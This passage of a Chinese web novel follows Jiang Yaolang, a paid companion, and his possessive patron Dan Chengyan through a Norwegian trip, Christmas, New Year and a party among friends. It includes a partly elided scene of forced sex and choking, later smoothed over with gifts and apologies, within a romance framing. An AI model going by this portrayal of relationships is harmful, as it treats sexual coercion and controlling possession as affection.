“我吃出来了。”江瑶浪像模像样地咀嚼两下。
然后拍拍Casper的头,在男孩抬头的瞬间对他说:“是橙子味的。”
Casper又露出他的招牌灿烂笑容:“那一定很甜。”
江瑶浪伸手揪了一块极光,喂给Casper。
“是的,很甜。”
Casper在慢慢地嚼,珍惜地尝:“确实是橙子味的!”
“天使你好厉害!”
*
吃过极光后,Casper把江瑶浪放了下来,从包里掏出相机给江瑶浪拍了一张,他把照片打印出来,将笔和照片一起递给江瑶浪。
“天使,我可以知道你的名字吗?”
江瑶浪接过笔和照片,控制着冻僵的手,努力把自己的名字写得端正。
“我叫江瑶浪。”他用标准的中文,说出了自己的名字。
Casper学着语调,磕磕绊绊地说:“江、瑶、浪——”
“对,我是江瑶浪,很高兴认识你。”
Casper藏起了江瑶浪的照片,作为交换,他把自己的旅行手账送给了江瑶浪,除此以外还有一小罐海水,海水里泡着他雕刻的木头小鲸鱼。
他把江瑶浪送回了木屋,在路口处他们拥抱,然后分别。
Casper说:“天使,下次见面的时候,我会告诉你我的中文名字。”
江瑶浪抱着沉沉的手账,对他笑:“那我很期待。”
*
想到今晚奇迹般的极光,江瑶浪还是很兴奋。
他蹦跳着往回走,走近了才发现门前不知何时停了一辆路虎卫士。
单承言抱臂靠在车上,他应是站了很久,身上积了很厚的雪,正面无表情地看着江瑶浪。
江瑶浪停下脚步,雀跃的心情荡然无存。
江瑶浪没有再往前,而单承言也没有动,他们中间隔着一段不短距离,在屋外僵持。
最终还是江瑶浪服了软,他在心里叹气,快步走到了单承言面前。
“你回来啦?还顺利吗?”
单承言看了他一眼,一言不发地开门进屋。
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江瑶浪跟在他身后,关上了门。
“瑶瑶,我是不是说过,让你在这里乖乖地等我?”
单承言背向他,语气很冷。
“对,我一直在这里,只是刚刚出去了一趟。”江瑶浪解释。
“那瑶瑶是被坏人绑走了吗?”
“没有,我是自愿的。”
单承言带着怒气转过身,掐住江瑶浪的下巴,强迫他直视自己:“你和他什么关系?”
“你认识他?你们亲了吗?做了吗?”
“他的技术比我好吗?”
江瑶浪逐个回答:“他晕在外面,我帮了他。只知道名字,没有,没有,不知道。”
“那你为什么要跟他走?”
“他说去追极光,我觉得有意思。”
单承言气笑了:“瑶瑶是觉得我管着你了。”
他夺过江瑶浪怀里的旅行手账,随手一翻,就是Casper裸身泡温泉的照片。
“真亲密啊,这种东西都送你了。”
单承言被刺伤,怒意更胜,大步走向壁炉,把手账丢进火里。
江瑶浪来不及阻止,下意识就要伸手抢救。
单承言钳制他的手,把他提高拉远,江瑶浪还想捞本子,两人争执间,装着海水的玻璃罐掉落在地,碎开多片,鲸鱼弹动几下,然后归于沉默。
江瑶浪眼睁睁看着旅行手账因火焚成烬,离水的鲸鱼于地面溺亡。
“伤心难过给谁看呢?”
“你喜欢他这样的?”
“妈的,死老外。”
江瑶浪放弃了,他跟这人就是讲不通。
*
他被……着推进玻璃房,按在玻璃前。
单承言在他身后掐着他的脖子,神经病般说出刺人的话。
“是在这里看到他的吧?”
“你让他回头救你啊?怎么外面没人了呢?”
他凑到江瑶浪耳边轻声说:“是不是怕他发现你在被我……啊?”
“我早就该知道的,你这个不听话的……”
“先是魏勤安,现在又来了个莫名其妙的老外。”
“我才离开了三天,三天你都等不了吗?”
他让江瑶浪看向自己,偏执得发狂:“我不能满足你吗?”
“我哪里比不上他们?”
“我应该把你锁起来,给你打上标记,让所有人知道你是我的。”
单承言把……塞进江瑶浪嘴里,用手指抵进深处,迫使他咽下去。
江瑶浪扭头吐在地上。
他浑身狼狈,崩溃地喊:“我不是你的!”
这话无异于火上浇油,失控的单承言非常可怕,完全是一头野兽,只懂得发泄与索取,毫无理智。
“你怎么会不喜欢我呢?”
“你怎么会不是我的呢?”
“瑶瑶,你收了钱的,是我买下了你。”
江瑶浪甩了他一巴掌:“把你莫名其妙的占有欲收回去,装深情给谁看呢?这么爱的话当初不去珍惜人,反而对我一个替身提感情需求?”
“你配吗?”江瑶浪一字一顿,眼里尽是轻蔑。
单承言心痛得要命,眼眶瞬间发红,他终于明白江瑶浪的配合、对自己的纵容,只是因为江瑶浪敬业。
他根本就不喜欢自己。
没有替身,单承言想解释。
但他终究没有说出来,只是动作更凶。
那就谁都别想好过。
“所以你……,也是活该。”
单承言手下用力,江瑶浪被掐得窒息,他想挣脱,却被控制更深。
“你逃不了的,江瑶浪。”
“我说过,你是我的。”
这场不愉悦的情事进行到最后,两个人都见了红,他们在血液中迎来了阳光和圣诞节。
21. 第 21 章
那股不受控的狂热浪潮从单承言脑里退去时,江瑶浪已经被折磨得红白交织,浑身青紫。
单承言怜惜地与他相拥,却还在喋喋不休地追问他和Casper的关系。
呵,江瑶浪自嘲。
他们能有什么关系。
不过都是这场风雪里的落难者。
江瑶浪不想多说,只是问:“结束了吗?”
“对不起瑶瑶,我就是太生气了。”
随便吧,拿钱办事,江瑶浪心想。
然后身体一软,就这么睡了过去。
江瑶浪突然垂落的头把单承言吓得心悸,他甚至颤抖着用手去探江瑶浪的鼻息,俯身去听他的心跳。
随后他松了一口气,更用力地抱紧江瑶浪。
“对不起,瑶瑶。”
*
江瑶浪恢复意识的时候,身体已经干爽,破损的地方也细致地抹上了药,腕上多了点重量,他抬手一看,是一只蓝白色的表。
理查德米勒白纳达尔,江瑶浪认出了款式,也知道大概的价格。
他把表摘下还给身侧的单承言:“不需要吧,我不值这个价。”
单承言又帮他戴上:“瑶瑶,这是圣诞礼物。”
“哦。”江瑶浪平静接受,“谢谢少爷。”
“瑶瑶,别这样。”
单承言受不了江瑶浪的冷待,他伸手拿过床头柜的花束,放进江瑶浪怀里。
“原谅我好吗?”
江瑶浪看向怀里缺水的玫瑰,然后抬头对他笑得温柔:“我本来就没生气。”
“这次是我不对,我不应该出去的。”
单承言凑过去亲他:“圣诞快乐。”
“圣诞快乐。”江瑶浪回吻。
*
在江瑶浪睡着的这段时间,单承言重新审视两人的关系。
自己喜欢江瑶浪吗?毫无疑问是喜欢的。
那江瑶浪呢?
前夜以前,单承言一直认为,江瑶浪只是慢热。
然而不是,他对自己并无特别的感觉。
江瑶浪敬业地履行替身的职责,给他肉/体上的欢愉与慰藉,却吝啬地不肯分出一丝多余的感情。
单承言自认已经数次低头,让他求着别人爱他。
这件事他做不到,但他更不想把人放走。
不过幸好,自己有钱,江瑶浪会因为钱选择留下。
能在自己身边,那就好办,单承言非常乐观,他自信在长久的相处中,把自己定位为替身的江瑶浪会抛弃骄傲,心甘情愿认输服软,会习惯自己依赖自己,卑微地生出爱意,同时祈求自己回应他的感情。
直到那时,他才会将没有替身的事实告诉他,他们之间从来都干干净净。
只有这样,控制权才能在他手上,他才不会在两人的感情中处于劣势。
只有这样,他才感到稍许心安,即使真的被抛弃,他也不至于输得太过狼狈。
而在江瑶浪爱上他那天到来前。
江瑶浪不需要太强势,他自会对他负责。
当然,如果江瑶浪能够得知单承言的内心所想,只会嘲他真是个少爷。
被宠坏的小孩可以蛮横无理,而成熟的大人难懂他的幼稚可笑。
江瑶浪的爱情从来都不是明码标价的商品,它是免费的第一感觉。
*
送了礼,道了歉,两人也说开。
单承言认为这件事已经翻篇,于是他提出继续旅行。
“瑶瑶,我说过要带你看海的。”
此时江瑶浪正把玫瑰从花束里抽出来,插进花瓶里,然后走进了玻璃房,摆放在茶几上。
江瑶浪指着屋外的海,拒绝了这个提议,他表示自己已经看了三天。
“在玻璃房里看的怎么能算数呢。”单承言走过去抱他。
“一样的。”江瑶浪再次拒绝,并转移话题,“比起看海,我现在更想窝在房子里吃海鲜。”
“那我们去海钓?”单承言说,“吃最新鲜的。”
江瑶浪往后倒,躺在单承言怀里:“少爷,我怕晕船。”
“就留在这里吧?好不好?”江瑶浪抬手挠单承言的下巴。
单承言张嘴咬住他作乱的手指:“瑶瑶,我喜欢你对我撒娇。”
“你想吃什么?”单承言问。
“吃深海大肥猪——”
“不行,这个是生的。”单承言还记着他高烧刚好。
“那只能吃面包蟹、鳕鱼、帝王蟹了。”
“驯鹿肉和鲸肉呢?”
江瑶浪凉凉地看着他:“你好残忍。”
单承言闷笑:“这可是特色美食。”
“反正我不吃,你也不准吃。”
“好,我们不吃。”
江瑶浪任由他抱着,两人静静地看了会海,单承言倒是很享受这种感觉,觉得可以抱着人直到天荒地老,而江瑶浪早已心生不耐,他讨好地亲单承言,然后把他推出门。
“你快去给我准备圣诞大餐。”
单承言没那么爽快,亲得江瑶浪嘴唇红肿,才终于愿意出门采购食材。
确认他离开后,江瑶浪径直走向洗手台洗手洗脸。
江瑶浪咕噜着漱口水,想:什么玩意儿,这么爱亲。
*
单承言绕了远路才把江瑶浪想吃的海鲜买全,他提着大包小包,风尘仆仆地进了门,食材让管家处理,自己则是捧着Riskrem找到江瑶浪,挖了一勺喂进江瑶浪嘴里。
“好吃吗?”
米布丁口感绵密顺滑,酸甜的樱桃酱中和了奶油的甜腻,江瑶浪舔去嘴角的果酱:“还不错。”
“那就再吃一点。”单承言又给江瑶浪喂了一大勺。
这次江瑶浪咬到了一点硬物,他用舌尖顶了出来,发现是一粒熟杏仁。
单承言拿走那颗杏仁,手腕一翻,魔法般凭空变出来一颗粉色的小猪糖果,把它放进江瑶浪的手心。
“杏仁糖猪,送给幸运的小孩。”
江瑶浪拆了包装,一口咬掉半只猪头:“哄我呢?”
单承言弯腰凑近,暧昧地轻吻江瑶浪的脸颊:“那你接受吗?”
江瑶浪侧过脸与他接吻,单承言卷走融化的糖汁,咬着他的下唇吮吻。
“好甜。”
“不甜怎么会用来哄小孩呢。”江瑶浪说。
*
圣诞过后,他们就坐上了回程的飞机。
在飞机上,单承言往江瑶浪怀里塞了钩针和毛线。
江瑶浪抱着几团毛线不明所以:“这是什么意思?”
单承言拿出手机,翻出李聿鸣新发的朋友圈,他点开那张图片给江瑶浪看。
“李聿鸣家小主播给他送了钩针玩偶当圣
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诞礼物。”单承言说明缘由并提出要求,“瑶瑶,我也想要。”
江瑶浪双指放大图片,仔细端详那只做工精细的红发人型玩偶,然后他直言:“我不会,而且圣诞节已经过了啊。”
单承言不是很开心:“瑶瑶给我做点别的,当元旦礼物好不好?”
江瑶浪想了想,问他:“那你有没有那种懒人编织神器,据说用那玩意织围巾又快又好。”
单承言没说话,只是一味地看着他。
江瑶浪败下阵来,任命地掏出手机找教程开始研究。
单承言满意了,强行缩靠在江瑶浪肩上一起看,没过多久被江瑶浪抖了下来。
江瑶浪举起钩针,把毛线团丢回给单承言,一脸认真:“我要开始尝试了!你不要打扰我哦。”
“好的,瑶瑶加油。”单承言听话地抱着毛线,充满期待。
可惜江瑶浪在这方面确实没有天赋,织了又拆,拆了又织,忙活了几小时,什么也没织出来,单承言舍不得让他再折腾。
于是他伸手包住江瑶浪的手,止了他的动作:“算了瑶瑶,我不要了。”
然而江瑶浪坚决不肯承认自己是个手残,他被毛线团激起斗志。
“松手,我非要织出来。”江瑶浪眼神坚定。
下定决心后,江瑶浪白天织,夜里织,坐着织,瘫着织,站着织,蹲着织,就连被单承言按在身下的时候,还伸手去掏毛线。
欲望上头的单承言眼里容不得一根毛线丝,他打落毛线,单手扣住江瑶浪的双手,强行把江瑶浪的注意力拉回到自己身上。
他埋进江瑶浪的腹部深嗅,把江瑶浪痒得不行,抬脚要把他踹开,结果又被单承言夹着腿压制,江瑶浪无法动弹,被迫成为一只,因为被毛巾包裹住而不得不乖巧的大猫。
“小猫,别玩毛线了,玩我吧。”单承言哄他。
可惜江瑶浪嫌弃:“你又不好玩。”
“那我玩你。”单承言给出另外的选项。
……
“少爷,今天稍微快点呢?”
“小猫不准在夜里玩毛线。”单承言惩罚性地扯咬他的果,一票否决。
……
“我明天就去给你这破小孩买个奶嘴。”
……“小孩这不正在吃着呢。”
“有病。”
“嗯,”单承言应了声,抓起江瑶浪的手放在自己脸上,“觉得不开心的话就打我吧,对着脸打。”
江瑶浪没打他,只是扯着肉让他做了个丑表情。
江瑶浪看着龇牙咧嘴的单承言,嫌弃地皱了皱鼻子:“真丑。”
“那也是你老公。”
“错了,”江瑶浪纠正他,“是金主。”
单承言倒也没反驳……:“丑金主配漂亮的小金丝雀,合情合理。”
江瑶浪……:“单总是异食癖吗?”
……
“死变态。”江瑶浪骂他。
可惜骂声传进单承言耳朵里,就自动被曲解为瑶瑶在冲他撒娇。
“变态就喜欢你这种香香软软的小金丝雀。”
江瑶浪要被单承言的骚话弄崩溃了,主动求饶:“老公,别这么说我。”
单承言笑得得意,但还对毛线耿耿于怀:“所以还想织围巾吗?”
“织。”
在驯服毛线这件事情上,江瑶浪绝不退让。
22. 第 22 章
在江瑶浪的不懈努力下,一条蓝灰色的小围巾在跨年当天被成功织出,大概十三厘米宽,一米长,只是卷卷皱皱,松松散散,因为漏针,不少地方都出现了破洞。
围巾完工的下一秒,单承言就已经抢先拿起绕在脖子上,早在江瑶浪收尾的时候,他就给照着围巾的色系自己搭好了一套衣服。
此时,单承言对着镜子反复摆弄小围巾,因为过于用心,这条丑丑的小围巾竟然也被他摆弄出一丝艺术感。
“好看吗?瑶瑶。”单承言转过身,摆了个姿势。
江瑶浪托腮打量自己被劫走的小围巾:“我说送你了嘛。”
“不给我还想送谁啊?”单承言佯装生气。
“我就不能织出感情来了想自留嘛。”
单承言缓步走近江瑶浪,阴影投下的时候带来一丝压迫感。
他指着围巾:“毛线是我买的。”
又指了指江瑶浪:“你也是我的。”
“所以,”单承言一锤定音,“这条围巾理应属于我。”
江瑶浪哼出声,不是很服气。
于是单承言摆出无奈的表情,叹了口气,让江瑶浪伸手,他把围巾还给他。
江瑶浪半信半疑地伸出右手。
结果单承言又提出要求:“另外一只呢?”
江瑶浪把左手也伸了出来,双手做捧状。
单承言慢条斯理地取下小围巾,假意放进江瑶浪手心,然后趁他放松警惕的时候,手速极快地用围巾捆绑住江瑶浪的双手。
江瑶浪无语地冲他翻了个白眼。
“系了包装绳的礼物才算完整,瑶瑶觉得呢?”
单承言把手放在裤链上,正准备拉下,结果被江瑶浪连手带链一同踩住。
江瑶浪说:“明天我要和小清见面。”
单承言移开手,任由江瑶浪踩他:“嗯,妹妹想吃什么?我去定餐厅。”
“谁是你妹妹了?还有,”江瑶浪捍卫独立哥权,并强调,“我是说我要和小清两个人,单独过节。”
江瑶浪坚定地表明想法。
“那好吧,不过元旦的后半天,瑶瑶得分给我。”单承言选择退让,并说出自己的安排,“带你见见我的发小们。”
江瑶浪不想去:“你们朋友间聚会,我去干嘛?”
单承言故意曲解他的意思,同时说出苏仰春的计划:“去吃烤肉泡温泉,还能看烟花。”
“一定要去?”
单承言只笑不语。
“好吧。”江瑶浪妥协了。
“好瑶瑶,那我们跨年夜怎么过?”
江瑶浪揭穿单承言的假民主:“你不是早决定了在床上过?”
单承言惊喜挑眉:“我们真是越来越有默契了。”
“……你先把围巾解开。”
在这种事情上,单承言才不听江瑶浪的,而是伸手强行脱掉江瑶浪的长裤,同时拉下裤链,屈身向前。
“不用解了吧?”
*
元旦一早,单承言就开车把江瑶浪送了回去,还陪着人逛了圈超市,他结好账,帮江瑶浪把东西提回家,临走前他说:“两点我来接你。”
江瑶浪斜靠着门框,点点头,挥手赶他走。
单承言在江瑶清无语的眼神中,挑衅般抬高江瑶浪的下巴,深深吻他。
吻毕,他用拇指擦去江瑶浪唇上残留的水渍:“真走了。”
回应他的是江瑶浪毫不留情的转身,面前的门被粗暴关上。
“脾气好大啊,瑶瑶。”单承言在门外笑得无赖。
江瑶浪进屋后坐到妹妹身边,还没开口呢,江瑶清就先伸手摘下江瑶浪头上的黑粉色手混线猫耳帽,捏着垂下来的两个毛球,说:“那傻逼买的吧。”
“嗯。”江瑶浪承认。
江瑶清又打量了一下她哥的今日穿搭。
单承言给江瑶浪选了一件白而软糯的马海毛长款开衫,内搭是纯黑的高领毛衣,蜂巢项链被挑了出来,当作毛衣链,衣摆扎进宽松的脏粉色弯刀牛仔裤里,一条随意系绑的米白色金属搭扣麻绳腰带穿过裤袢,勾勒出劲瘦的窄腰,鞋子则是纯黑的RO五芒星。
“哎,我哥真是穿什么都好看。”江瑶清站起身,把猫耳帽给江瑶浪戴了回去,动手给他扎了个低双马尾,蓬松卷曲的发束衬得江瑶浪的脸更小。
她还从房间里拿出来两个芭蕾风蝴蝶结飘带发夹,准备给江瑶浪夹上,江瑶浪伸手抓住那串色彩缤纷的小蝴蝶结,阻止了江瑶清的作乱。
“多可爱啊。”江瑶清抱着江瑶浪的胳膊摇晃,嘟着嘴撒娇,“双马尾的我哥简直是萌妹。”
江瑶浪屈指弹了弹江瑶清的额头:“你自己看看这话的逻辑对吗?”
“嗷!”江瑶清捂着额头碰瓷,“好痛!”
“那是不是要哥哥戴上蝴蝶结才能好?”
“嘿嘿。”江瑶清笑嘻嘻地又把蝴蝶结往江瑶浪的双马尾上夹。
江瑶浪还能怎么办,只能随她打扮。
给江瑶浪戴上蝴蝶结后,江瑶清满意了:“我哥真好看!”
“嗯哼,像你。”江瑶浪礼尚往来。
“漂亮哥哥——我们今天中午吃什么呀?”
“上周你说想吃酸菜鱼?我买了鱼片,料包家里还有,一会煮给你吃。”
“哥哥真好!”
时间还早,江瑶浪问她要不要出去走走。
江瑶清欣然答应,给自己也低扎了双马尾夹了蝴蝶结,穿上浅粉色的大衣,戴了顶贝雷帽,走到江瑶浪身后推着他出门,说要去看电影。
江瑶浪顺从地被她推着走,但在出门前还是问了一句:“穿秋裤了吗?”
江瑶清用头敲她哥的背:“穿了!你呢!”
江瑶浪伸手提了一下裤腿,露出来一点秋裤边边:“我也穿了,我可不想得老寒腿。”
“嘻嘻。”江瑶清说,“等你老了的时候,清姐背你!”
下一瞬江瑶清的身体腾空而起,江瑶浪把她背了起来,稳稳地托着:“那为了避免老年被护工打的悲惨命运,我得趁现在好好表现。”
江瑶清搂着江瑶浪的脖子,在哥哥的背上晃着腿:“小浪哥哥真是深得妹心。”
江瑶浪只是笑,然后掏出手机问她想看什么,他买票。
江瑶清也不知道最近有什么好看,所以她说:“不纠结了,我们随缘,哪场要开始了我们就看哪一场。”
江瑶浪觉得有道理,把手机按灭,放回口袋,背着妹妹下楼梯。
*
今天没有下雪,风也不大,天气很晴朗。
兄妹俩从楼梯间走出来,没走两步,就看到了熄火停在路边的黑色玛莎拉蒂Levante GT。
江瑶浪搞不懂为什么单承言的车还在这里,他走过去敲了敲驾驶座的窗。
单承言是被敲窗的声音吵醒的,他以为是自己挡路了,于是降下车窗,从放低的座椅上坐了起来,眯着眼说:“等会,现在挪。”
“挪什么呢?”
熟悉的声音传进车内,单承言转头一看,发现江瑶浪在车外探头探脑,他还没睡醒,下意识伸手包住人的后颈,把江瑶浪拖进来亲。
“死流氓我靠!”江瑶清还在江瑶浪背上,看到单承言要对她哥行不轨之事,直接张开手就朝单承言脸上推。
这一推刚好推在单承言的眼睛上,单承言
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瞬间就清醒了。
他捂着眼认出来人,也没生气,只是过嘴瘾:“反应太大了吧,小姨子。”
“你哥被我占便宜的次数还少吗?趁早习惯一下吧。”
“小姨子”这个称呼简直是在侮辱她,江瑶清气得不行,从哥哥背上跳下来就要拉开车门把人揪出来打。
江瑶浪拍拍她的肩,自己俯身与单承言对视:“在这干嘛呢?”
“不知道该做什么,干脆在这里等你。”单承言倒是没说谎,离了江瑶浪,他觉得自己去哪都没意思。
“怎么不回家呢?”
“回哪个家?”单承言问他。
江瑶浪真挺烦单承言老搞这种莫名其妙的暧昧活,明明他们之间不存在什么感情,但是话从他嘴里说出来,却带着一种非自己不可、两人情意绵绵的意味。
所以他嗤笑:“我怎么知道你有几个家。”
单承言看样子还想说点什么,但是江瑶浪耐心已经耗尽,他直起身继续走去电影院,江瑶清跟着他一起走。
走之前她耸耸肩,给单承言留了一句:“我哥这人,特讨厌别人没事找事、装模作样。”
什么意思?骂我虚伪呗。
单承言在车内冷笑,觉得自己的真心又被辜负。
正好此时姐姐打来电话:“今天有什么安排?”
单承言问:“你们出差回来了?”
“没有,你没事干就带小真出去玩,或者陪陪爸妈。”
单承意夫妻俩还没回,自己去找爸妈肯定又会被说不学无术,让他带小孩他也不是很乐意,思来想去觉得还不如留在这里等江瑶浪有意思。
但他刚被嫌弃,于是单承言点火开车,回复姐姐:“我带皇帝出门吃饭吧。”
“行,你大概什么时候到?”
单承言点开导航,看了下大概用时:“一小时左右。”
单承意听到这个时间有点诧异:“你去哪里了?”
“找朋友玩,刚被他家人赶走了。”
“哪个朋友?女朋友?”
单承言不想说,他直接挂了电话,加了一脚油,汽车飞驰而去。
*
那边的兄妹刚到达电影院,就被只剩下边边角角的座位和拥挤的检票人群给劝退了。
江瑶清扶额:“不愧是元旦……”
“那,要回家吗?”江瑶浪问。
江瑶清高举双手:“来都来了!我要吃冰淇淋!抹茶巴旦木口味的!”
可惜商场内同样多人,江瑶清等了大半小时才拿到冰淇淋,在等待的时间里,江瑶浪给江瑶清买了双靴子,又进卡西欧给她选了块指针款机械表。
江瑶浪把江瑶清手腕上的旧表摘下,给她戴上新的:“换一块好点的表,考试加油。”
想到高考,江瑶清有点感慨:“时间过得好快啊,总感觉哥你高考就在昨天。”
江瑶浪笑笑,然后问她:“学校有说集体成人礼安排在什么时候吗?”
“应该和往年差不多吧?三月份这样。”江瑶清说。
“到时候我要盛装出席。”江瑶浪点点头,暗下决定。
“啊,这么隆重嘛!我也不是那时候成年哇。”
江瑶浪伸手拍拍她的头:“哥给你撑场面。”
江瑶清捂着嘴笑:“那有哥这张脸就已经足够啦。”
“说起来,我还留着哥成人礼时候的照片。”江瑶清拿出手机,点开独属江瑶浪的相册,开始翻找。
“是吗?让我看看。”江瑶浪凑过去看屏幕。
“就是可惜拍立得的已经褪色了……”
“那三月的时候我们拍新的。”
“好呀!”
23. 第 23 章
单承言的消息在两点准时发来,江瑶清把江瑶浪送到门口。
她说:“能不委屈自己了吗?哥。”
江瑶浪没答应,只是说:“再等等吧。”
单承言不在意,但江瑶浪却不能忘记他的救人之举。
他们两人最好的结局就等少爷热情褪去,再和平分开。
“哥。”江瑶清鼓足了勇气,第一次提出自己对于未来的打算,“我大学,不想再留在这里了。”
江瑶浪只愣了很短暂的时间,然后抬手摸摸妹妹的头,一如既往地包容。
“没关系,哥哥陪你。”
江瑶浪张开手,江瑶清自觉地抱住他。
在妹妹看不见的背后,江瑶浪眼里充满歉意:“小清,新年快乐。”
“小浪,新年快乐!要玩得开心。”
“没大没小。”
*
江瑶浪拉开副驾驶的门,发现座椅上放了盒蛋挞。
他把蛋挞拿起来,准备放在后座。
单承言戴着墨镜,扭头问他:“不试试吗?刚出炉的。”
于是江瑶浪坐进车内,把蛋挞放在腿上,他先是系上了安全带,再打开了盒子,从里面拿出蛋挞咬了一口。
“好吃吗?”
“好吃。”江瑶浪把剩下的大半个蛋挞喂到单承言嘴边,另一只手放在他的下巴处,准备随时兜住碎渣。
单承言张嘴咬下,点点头:“单诺真这小孩别的不会,找吃的确实有一套。”
江瑶浪抽出纸巾擦手:“你刚刚见过她了?”
“嗯,带她出去吃饭。”
“怎么不把她一起带过去玩?”
单承言发动车子,随口说:“她烦人。”
*
这次是苏仰春攒的局,地点安排在她家新建的温泉山庄,目前还未对外营业,如果让嘴贱的宋流玉来评价,今天的聚会就是“小春姐找他们几个当免费测评员”。
她和单承言他们几乎是前后脚抵达,苏仰春从闺蜜柚姐的白色兰德酷路泽副驾上下来,先是跟单承言打了个招呼,又把注意力放在单承言身边的高挑长发男人上。
“难得啊,少爷今天居然是开车来,还带伴。”苏仰春调侃道。
柚姐是个酷女孩,留着干练的短发,穿的是黑迷彩裤和作战靴,她跟在苏仰春身后走来,插嘴:“男朋友?”
单承言抬了抬下巴,示意江瑶浪自己说。
于是江瑶浪摇摇头,对两个女孩子微笑:“不是哦。”
单承言的脸瞬间黑了。
苏仰春也反应过来了,江瑶浪就是传说中的一月两百万。
不得不说,江瑶浪也长在了她的审美点上,只可惜性取向不对,再加上她也没那个胆子挑战单承言的占有欲。
苏仰春点点头,然后领着人往花园里走。
*
草坪上已经架好了烹饪工具,厨师在穿着各种串,刷了酱的整只烤全羊在烤炉里旋转。
其他人已经到了,桌面摆着满满当当的水果零食,冰桶空了小半,空酒瓶随意散落,他们围坐在桌边,有一搭没一搭地聊天。
李聿鸣在对身旁人介绍那只烤全羊:“新疆的羊,早上刚杀,下午就拉来这里烤了,非常新鲜。”
“喔——”
应话的男生穿了件极地白始祖鸟硬壳,拉链拉高到鼻子,挡住了大半张脸,只露出一双好奇的圆润狗狗眼,下身是黑色双排扣运动裤,因为是屈腿坐着,裤缝被撑开,粉白结实的腿肉若隐若现,中筒白袜拉高包住裤腿,脚上则是一对白酸橙色的尤尼克斯65Z3。
看着挺高冷一体育生,但在听到李聿鸣的介绍后兴奋地拉下拉链,脱掉帽子,露出狼尾:“那现在可以吃了吗!”
“没那么快。”李聿鸣宠溺地捏他鼻子。
低气压的单承言现在最烦的,就是看到李聿鸣在自己眼前腻歪,他大步走过去,猛地踹向李聿鸣的椅子。
李聿鸣被他踹得一歪,赶忙伸手稳住自己的小椅子。
“干嘛啊少爷!”
“看见你就烦。”单承言语气不善。
苏仰春被单承言这个怨妇样乐得不行,她抱着柚姐,靠在人身上笑得应在江湖悠悠。
宋流玉注意到了江瑶浪这个新人,单承言心情不好,他不敢问,但实在是心动,于是丢下怀里的小明星,带着一串五金,叮呤哐啷地蹦过去问苏仰春:“甜哥带来的大漂亮是谁哇。”
苏仰春双手从柚姐身上离开,冲宋流玉比了两个耶,回他:“神秘的两百万。”
“喔喔喔!”宋流玉鸡叫。
因为离得近,江瑶浪听到了他们的聊天内容,他漫不经心地笑了下,然后趁着没人在意他,微微侧身极为快速地翻了个白眼。
这个白眼被柚姐敏锐地捕捉到了,她没说什么,只是招呼江瑶浪跟她一起落座。
江瑶浪坐在了柚姐旁边,苏仰春见状也跟了过去,坐在柚姐的另外一侧。
此刻好奇心正疯狂膨胀的宋流玉极为不怕死,趁着单承言还在和李聿鸣吵架,迅速占领江瑶浪的身边位置。
一直默默吃瓜的钟京辉兴奋地猛拍他哥大腿:“看戏看戏!”
钟京毅平静地拿起啤酒,与他弟碰杯。
*
于是,好不容易气消的单承言转头一看,他家瑶瑶左右都坐了人,那个该死的宋流玉甚至还在蠢蠢欲动地找人搭话。
单承言示意江瑶浪过来,江瑶浪假装没看到,只顾着低头捡蓝莓吃。
单承言要气死了,拉了张椅子坐在江瑶浪的对角,目不转睛地盯着他。
江瑶浪依旧镇定自若地吃蓝莓,还倒了杯果茶,捧着慢慢喝。
被宋流玉抛下的小明星,左看右看,最后小心翼翼地拎着椅子挪到单承言身边,他朝着人打了个招呼:“嗨。”
单承言掀起眼皮看了他一眼,很凶:“滚开。”
小明星提着椅子跑远了。
单承言心里不舒服,就不想让江瑶浪太舒坦,他主动挑起话题,和发小们聊得热烈。
江瑶浪无所谓被冷待,只是专心挑自己喜欢的东西吃。
反倒是在他身边的柚姐,掏出烟盒,朝江瑶浪抖了根细支爆珠。
江瑶浪摆手拒绝:“好不容易才戒了。”
柚姐没说什么,自己咬着烟点燃,她深吸一口,吐出来一圈白雾,然后拿起桌面上的酒瓶敲了敲,打断了众人的谈话。
她朝单承言示意:“少爷,一个月给你三百万,让他跟我呗。”
单承言的脸色瞬间就黑了,手指着苏仰春:“管好你的人。”
见有人牵头,苏仰春也不怕了,她把头靠在柚姐肩上:“嘻嘻,我出四百万。”
宋流玉显然也想插一嘴,但是他瞅了瞅单承言要杀人的眼神,最终保持沉默。
柚姐是个爽快人:“那就提到五百呗。”
江瑶浪能感受到柚姐没有恶意,但是他对这场无聊的竞价不感兴趣。
他站起来,对柚姐说:“抱歉。”
单承言一下就舒坦了,他又朝江瑶浪摆摆手,示意他过来。
江瑶浪没理他,借口上厕所,自己一个人离开了花园。
*
山庄很大,江瑶浪漫无目的地瞎走,迷路是必然的。
但他也不想回去,索性到处逛逛,看看风景
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,消磨时间。
江瑶浪逛到了湖边,他蹲下来,用刚刚捡的枯枝逗天鹅。
天鹅以为他在喂食,张嘴想啃树枝。
江瑶浪眼疾手快地提高,没让它咬到:“笨死了,迟早把你抓了烤了。”
“烧鹅吗!我也想吃!”
清越健气的声音从背后传来,江瑶浪转身发现来人是那个狗狗眼男生。
他大步跨到江瑶浪身边,像江瑶浪一样蹲下,然后说:“我们要现在抓吗?”
江瑶浪没想到真的有人想吃天鹅:“保护动物应该不能吃吧?”
“这还是保护动物啊?”男生似乎很吃惊,“那还是我村子里的大鹅好,能吃又能玩,有机会的话我带你来我家看看呀!”
江瑶浪被逗笑了:“怎么玩?追着咬你屁股?”
“小时候是啦,但是现在它们打不过我了。”男生倒是很自豪,“啊对啦,我是秦小添!添福添财的添,你叫什么呀?”
“我叫江瑶浪。”
“江瑶浪,我刚刚就注意到了,你的胸练得好好哦,我能捏一下吗?”秦小添满眼好奇,天真可爱。
江瑶浪被他的直白震惊到了,不过秦小添眼里全是对学习渴望,没有一丝邪念,他也不是什么扭捏的人,于是他拉开自己的开衫,露出被毛衣紧紧包裹的上身:“那,你摸?”
秦小添毫不客气地把手放上去捏了捏,江瑶浪稍微发力,让他更好地感受形状和手感:“你练得真好啊,我怎么都练不出来这种形状,还软得要死。”
他夸完后,还礼尚往来地抓起江瑶浪的手放在自己胸上:“你捏一下,是不是特别软。”
江瑶浪也没客气,确实很软:“你用力看看呢?”
“我已经用力了!”
“那就是体脂率过高了,减脂吧。”江瑶浪分析原因并给出建议。
秦小添委屈巴巴:“试过了……”
于是江瑶浪拍拍他的肩,安慰道:“没关系,这也是很难得的。”
秦小添唉声叹气,但没缩回手:“我再摸摸。”
大方的江瑶浪示意他随意,看向秦小添的眼神甚至有点宠溺。
*
当单承言和李聿鸣找到出逃二人时,看到这诡异的画面,两人都有点失语,一时间不知道该怎么办,最后还是随时随地大小醋的单承言快步走过去把江瑶浪拉起来,藏到身后。
